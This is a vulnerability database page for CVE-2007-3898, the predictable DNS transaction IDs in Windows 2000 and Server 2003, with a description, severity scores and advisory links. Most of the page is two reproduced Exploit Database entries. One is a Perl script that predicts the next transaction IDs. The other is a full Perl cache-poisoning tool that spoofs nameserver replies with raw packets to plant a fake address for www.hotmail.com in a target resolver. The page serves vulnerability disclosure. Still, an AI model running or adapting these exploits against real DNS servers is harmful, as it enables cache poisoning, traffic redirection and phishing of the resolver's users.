CVE-2007-3898 : Detail

CVE-2007-3898

A05-Security Misconfiguration
88.45%V3
Network
2007-11-14
00h00 +00:00
2018-10-15
18h57 +00:00
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CVE Descriptions

The DNS server in Microsoft Windows 2000 Server SP4, and Server 2003 SP1 and SP2, uses predictable transaction IDs when querying other DNS servers, which allows remote attackers to spoof DNS replies, poison the DNS cache, and facilitate further attack vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-16 Category : Configuration
Weaknesses in this category are typically introduced during the configuration of the software.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.4 AV:N/AC:L/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 30635

Publication date : 2007-11-12 23h00 +00:00
Author : Alla Berzroutchko
EDB Verified : Yes

source: https://www.securityfocus.com/bid/25919/info Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests. A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing. $TRXID=$ARGV[0]; $zero=$TRXID>>14; if ($zero!=0) { print "Highest two bits are not 0.\n"; print "Is this really Windows DNS server? check endian issues!\n"; exit(0); } $M=($TRXID>>11) & 7; $C=($TRXID>>3) & 0xFF; $L=$TRXID & 7; if (($C % 8)!=7) { print "C mod 8 is not 7 - can't predict next TRXID.\n"; print "Wait for C mod 8 to become 7\n"; exit(0); } print "Next TRXID is one of the following 8 values:\n"; for ($m=0;$m<8;$m++) { print "".(($m<<11)|((($C+1) % 256)<<3))." "; } print "\n";
Exploit Database EDB-ID : 30636

Publication date : 2007-11-12 23h00 +00:00
Author : Alla Berzroutchko
EDB Verified : Yes

source: https://www.securityfocus.com/bid/25919/info Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests. A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing. #!/usr/bin/perl use strict; use Net::DNS; use Net::DNS::Nameserver; use IO::Socket; use Net::RawIP; sub usage { print ("$0 is a program for DNS id spoofing.\n"); print ("usage: $0 target tospoof ourzone port\n"); print ("Example: $0 ns1.belbone.be www.hotmail.com .cache-poisoning.net 1025\n"); } my($target, $tospoof, $ourzone, $query_port) = @ARGV; $tospoof = "www.hotmail.com" unless($tospoof); $ourzone = ".cache-poisoning.net" unless($ourzone); $query_port = 53 unless($query_port); if(!$target) { usage(); die("You must specify target nameserver\n"); } my($host, $domain) = split(/\./, $tospoof, 2); my $client = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 53, Proto => "udp") or die "Couldn't be a udp client on port 53 : $@\n"; my @nameservers = get_nameservers($domain); #print join("\n", @nameservers); #exit; cache_ns($client, $tospoof); # Make vitim cache ns record for name to spoof my @ids = get_sequence($client, $ourzone); my @replies = prepare_replies(\@nameservers, \@ids, $target, $tospoof); send_request($client, $tospoof); send_replies(@replies); sub prepare_replies($$$$) { my($nameservers, $initial_ids, $target, $tospoof) = @_; my $totry = 500; # We will try 500 ids subsequent to the one we've got my $fakeip = "127.0.0.1"; # IP address that we want the target cache to believe in my @replies; for my $i (1..$totry) { for my $id (@$initial_ids) { my $dns_packet = Net::DNS::Packet->new($tospoof); $dns_packet->push("pre", rr_add($tospoof . " A " . $fakeip)); $dns_packet->header->qr(1); $dns_packet->header->aa(1); # Authoritative $dns_packet->header->rd(1); # Recursion desired $dns_packet->header->ra(1); # Recursion available $dns_packet->header->id($id+$i); for my $nameserver(@$nameservers) { my $packet = new Net::RawIP({udp=>{}}); $packet->set({ip=>{saddr=>$nameserver, daddr=>$target}, udp=>{source=>53, dest=>$query_port, data=>$dns_packet->data()} }); push @replies, $packet; } } } return @replies; } sub send_replies(@) { my @packets = @_; foreach my $packet(@packets) { $packet->send(0,2); } } sub send_request($$) { my($client, $tospoof) = @_; my $packet = Net::DNS::Packet->new($tospoof, "A"); $client->send($packet->data()) or die "send: $!"; } sub cache_ns($$) { my($client, $tospoof) = @_; my($host, $domain) = split(/\./, $tospoof, 2); my $packet = Net::DNS::Packet->new($domain, "NS"); $client->send($packet->data()) or die "send: $!"; } sub get_sequence($$) { my ($client, $ourzone) = @_; my $server = Net::DNS::Nameserver->new( LocalAddr => "0.0.0.0", LocalPort => "53", ReplyHandler => \&reply_handler, Verbose => 0 ) || die; my @ids; for(my $i=0; $i<50; $i++) { my $packet = Net::DNS::Packet->new("id$i$$".$ourzone); $client->send($packet->data()) or warn "Failed sending packet: $!"; #print STDERR "Request sent\n"; ## Wait for request from target nameserver sub reply_handler { my ($qname, $qclass, $qtype, $peerhost, $query) = @_; my ($rcode, @ans, @auth, @add); die sprintf "ID %d\n", $query->header->id; }; eval { $SIG{ALRM} = sub { die "timeout\n"; }; alarm(2); $server->main_loop(); }; alarm(0); if ($@ =~ /^timeout/) { next; }; unless ($@ =~ /^ID (\d+)/) { die $@; }; my $id = $1; push @ids, $id; } my @seq = analyse_ids(@ids); return @seq; } sub analyse_ids { my @ids = @_; my @seq; # Keeps the last seen number in each sequence my $counter = 0; my $num_seq = 8; # total number of sequences we track my $max_diff = 500; # maximum difference between two subsequent ids in one sequence id: for my $id (@ids) { for my $i (0..$num_seq) { if(defined($seq[$i]) && $seq[$i]<$id && $seq[$i]+$max_diff>$id) { # We have already seen numbers from this sequence $seq[$i] = $id; $counter++; next id; } if(defined($seq[$i]) && $seq[$i]>65535/4-$max_diff && $id < $max_diff) { # Sequence has wrapped $seq[$i] = $id; $counter++; next id; } if(!defined($seq[$i])) { # We have not seen this sequence, and there are still free sequence slots $seq[$i] = $id; $counter++; next id; } } $counter++; } return @seq; } sub get_nameservers($) { my $domain = shift; my $res = Net::DNS::Resolver->new; my $query = $res->query($domain, "NS"); my @nameservers; if ($query) { foreach my $rr (grep { $_->type eq 'NS' } $query->answer) { my $server = $rr->nsdname; push @nameservers, host_to_ip($server); # Windows always uses first nameserver if available return @nameservers; } } return(@nameservers); } sub host_to_ip($) { my $hostname = shift; my $ip = join(".", unpack("C4", ((gethostbyname($hostname))[4]) || return $_[0])); my $num = unpack("N", pack("C4", split(/\./, $ip))); return $num; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

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                                Microsoft>>Windows_2003_server >> Version *

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                                        References

                                        http://www.vupen.com/english/advisories/2007/3848
                                        Tags : vdb-entry, x_refsource_VUPEN
                                        http://securityreason.com/securityalert/3373
                                        Tags : third-party-advisory, x_refsource_SREASON
                                        http://secunia.com/advisories/27584
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.us-cert.gov/cas/techalerts/TA07-317A.html
                                        Tags : third-party-advisory, x_refsource_CERT
                                        http://www.kb.cert.org/vuls/id/484649
                                        Tags : third-party-advisory, x_refsource_CERT-VN
                                        http://www.securityfocus.com/bid/25919
                                        Tags : vdb-entry, x_refsource_BID
                                        http://www.securitytracker.com/id?1018942
                                        Tags : vdb-entry, x_refsource_SECTRACK